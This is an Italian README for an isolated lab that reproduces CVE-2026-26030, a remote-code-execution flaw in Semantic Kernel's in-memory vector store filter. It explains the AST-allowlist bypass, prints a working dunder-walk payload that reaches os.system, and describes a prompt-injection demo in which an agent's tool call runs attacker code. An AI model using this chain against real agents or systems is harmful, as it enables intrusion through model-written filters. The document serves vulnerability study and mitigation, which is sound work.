
Lab Docker etico e isolato dalla rete che riproduce CVE-2026-26030 — RCE tramite eval() nel filtro del vector store in-memory di Semantic Kernel (corretto nella versione 1.39.4)
eval() del filtro di Semantic Kernel (lab)Un laboratorio autonomo che riproduce CVE-2026-26030: esecuzione remota di codice
iniettabile tramite prompt attraverso il filtro di ricerca dello store vettoriale
in memoria di Microsoft Semantic Kernel (Python, < 1.39.4).
Solo per lab etico. Isolato in virtualenv dedicati; i payload sono innocui (
touchdi un file marker nel PoC headless;open -a Calculatornella demo UI) ed eseguiti come tuo utente non privilegiato.
./setup.sh # builds two isolated venvs (1.39.3 vulnerable, 1.39.4 patched)
Richiede python3.13 (wheel per le dipendenze numpy/scipy di SK). È possibile usare un interprete diverso con PYTHON=.
./run.sh # runs the same payload against both venvs
L'output vulnerabile termina con RCE CONFIRMED; l'output corretto (patchato)
rigetta lo stesso payload con '__subclasses__' ... is not allowed.
OpsBot, un agente interno di knowledge-base di ingegneria (Llama ospitato
su Groq tramite Semantic Kernel), espone uno strumento search_runbooks(team).
Un attaccante inietta tramite prompt un valore team malevolo; l'agente chiama
lo strumento, il filtro vulnerabile viene eseguito e una "nota di riscatto" si
apre in TextEdit — mentre l'agente riporta i risultati dei runbook, ignaro. Il
payload (open -e <note>) non è bloccante ed è innocuo; la nota è pre-posizionata in /tmp/PWNED_by_CVE-2026-26030.txt.
Lo strumento esegue il vero eval del filtro vulnerabile in un subprocess pulito
(run_filter.py). È una necessità di macOS, non un trucco: la fork() del
server è compromessa dai thread asincroni LLM/httpx + numpy/scipy, quindi un
avvio della GUI da quel processo fallisce in silenzio. Il subprocess è l'esatto
percorso di codice della CVE (_parse_and_validate_filter → esegue la lambda su un record).
Nota: la separazione in subprocess pulito è una particolarità di questo harness demo macOS, non della vulnerabilità. Su un agente distribuito su Linux,
os.systemin-process parte direttamente — nessun subprocess necessario.
echo 'GROQ_API_KEY=gsk_...' > .env # free key from console.groq.com/keys
./demo-ui/run.sh # http://127.0.0.1:8000
Il messaggio dell'attaccante è già pre-caricato nella casella di input; premi Invia.
Un agente espone uno strumento di ricerca basato su InMemoryCollection. L'LLM
emette una stringa di espressione di filtro dalla conversazione (lambda x: x.team == 'platform').
Tale stringa è influenzabile dall'attaccante — tramite il prompt dell'utente, o
tramite testo iniettato nei contenuti recuperati/di strumento — e finisce in
_parse_and_validate_filter, che la compila con compile() e la valuta con eval() (connectors/in_memory.py:383):
code = compile(tree, filename="<filter>", mode="eval")
func = eval(code, {"__builtins__": {}}, {}) # nosec
__builtins__ viene svuotato e viene applicata prima un'allowlist AST — quindi
si tratta di un bypass della sandbox, non di una guardia mancante. Due lacune lo rendono aggirabile:
ast.Attribute è senza restrizioni — nessuna blocklist per i
dunder, quindi la dunder-walk di ().__class__.__base__.__subclasses__ è consentita.ast.Call esamina func solo quando è un Name o un
Attribute. Quando func è un Subscript (che è in allowlist),
func_name rimane None e il controllo sulla funzione consentita viene saltato del tutto.Quindi avvolgendo qualsiasi callable come [obj.method][0](https://github.com/inertfluid/sk-cve-2026-26030-lab/blob/HEAD/args) si può chiamare qualsiasi cosa. In catena:
object.__subclasses__()[i] -> BuiltinImporter.load_module('os') -> os.system(cmd)
lambda x: [[[().__class__.__base__.__subclasses__][0]()[107].load_module][0](https://github.com/inertfluid/sk-cve-2026-26030-lab/blob/HEAD/%27os%27).system][0]('touch /tmp/pwned_by_filter')
Il func di ogni chiamata è un Subscript; ogni passo dell'attraversamento è
un semplice accesso ad attributi. L'indice (107) è la posizione di
BuiltinImporter in object.__subclasses__() — varia in base alla build di
Python, quindi exploit.py e la demo lo calcolano a runtime.
Il patch aggiunge una blocklist di attributi pericolosi sopra l'allowlist,
quindi la dunder walk viene rigettata prima di eval:
Access to attribute '__subclasses__' is not allowed in filter expressions.
This attribute could be used to escape the filter sandbox.
L'enunciazione più chiara possibile della tesi sulla sicurezza degli agenti: non
esiste alcun confine tra "dati" e "istruzioni". Un filtro che il modello scrive
da una ricerca di runbook dell'utente diventa os.system. La sandbox esisteva —
un'allowlist e __builtins__ svuotato — ed è comunque caduta davanti a un
bypass con attribute-traversal + subscript-call. Gerarchia di mitigazioni che
vale la pena presentare nel post: non fare eval dell'output del modello; se
proprio necessario, restringiti a una grammatica chiusa, non a un'allowlist di
nodi con accesso aperto agli attributi; e isola il worker (seccomp / nessuna rete / non privilegiato) così l'esecuzione di codice non è game over.
| file | scopo |
|---|
setup.sh | crea i due venv isolati (vulnerabile + patchato) |
run.sh | PoC headless su entrambi i venv |
exploit.py | end-to-end: collection reale + filtro di ricerca -> RCE |
find_sink.py | individua il sink eval/compile nel pacchetto installato |
probe.py | conferma minima del bypass con il solo validator |
demo-ui/app.py | agente FastAPI + SK + Groq; lo strumento vulnerabile search_runbooks |
demo-ui/run_filter.py | esegue il vero eval del filtro in un subprocess pulito (la fork() del server è compromessa) |
demo-ui/index.html | UI di chat; apre una nota di riscatto in TextEdit alla RCE |